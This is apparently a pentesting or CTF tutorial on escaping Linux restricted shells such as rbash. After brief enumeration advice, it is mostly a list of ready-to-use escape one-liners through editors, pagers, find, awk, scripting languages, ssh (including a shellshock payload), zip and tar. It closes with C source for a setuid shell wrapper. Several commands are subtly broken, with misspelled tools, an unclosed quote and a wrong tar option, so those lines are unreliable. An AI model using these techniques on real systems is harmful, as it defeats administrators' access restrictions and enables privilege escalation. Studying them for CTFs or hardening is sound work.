Linux Restricted Shell Bypass

Author: @n4ckhcker & @h4d3sw0rm

Introduction

Hello, so first of all let’s explain what is a restricted shell ? A restricted shell is a shell that block/restricts some of the commands like cd,ls,echo etc or "block" the environment variables like SHELL,PATH,USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,>>. The types of a restricted shell can be : rbash,rksh,rsh. But now why someone want to create a restricted shell ?

Let’s say some examples :

1)To improve Security

2)To block hackers/pentesters.

3)Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.

4)For a CTF Challenge. (Root-me/hackthebox/vulnhub)

Enumeration Linux Environment

Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash. We need to enumerate :

1) First we must to check for available commands like cd/ls/echo etc.

2) We must to check for operators like >,>>,<,|.

3) We need to check for available programming languages like perl,ruby,python etc.

4) Which commands we can run as root (sudo -l).

5) Check for files or commands with SUID perm.

6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%

7) Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.

Common Exploitation Techniques

Now let’s see some of the common exploitation techniques.

1) If "/" is allowed you can run /bin/sh or /bin/bash.

2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.

3) From ftp > !/bin/sh or !/bin/bash

4) From gdb > !/bin/sh or !/bin/bash

5) From more/man/less > !/bin/sh or !/bin/bash

6) From vim > !/bin/sh or !/bin/bash

7) From rvim > :python import os; os.system("/bin/bash )

8) From scp > scp -S /path/yourscript x y:

9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'

10) From find > find / -name test -exec /bin/sh or /bin/bash \;

Programming Languages Techniques

Now.. let’s look some programming languages techniques.

1) From except > except spawn sh then sh.

2) From python > python -c 'import os; os.system("/bin/sh")'

3) From php > php -a then exec("sh -i");

4) From perl > perl -e 'exec "/bin/sh";'

5) From lua > os.execute('/bin/sh'). or os.system('/bin/bash')

6) From ruby > exec "/bin/sh"

7) From java > Runtime.getRuntime.exec("/bin/bash")

Now let’s move into Advance Techniques.

Advanced Techniques

Now let's move into some dirty advance techniques.

1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"

2)From ssh2 > ssh username@IP -t "bash --noprofile"

3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)

4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)

5)From git > git help status > you can run it then !/bin/bash

6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T

7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash

C SETUID SHELL :

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

int main(int argc, char **argv, char **envp){

    setresgid(getegid(), getegid(), getegid());

    setresuid(geteuid(), geteuid(), geteuid());

    execve("/bin/bash",argv,envp);

    return ;

}
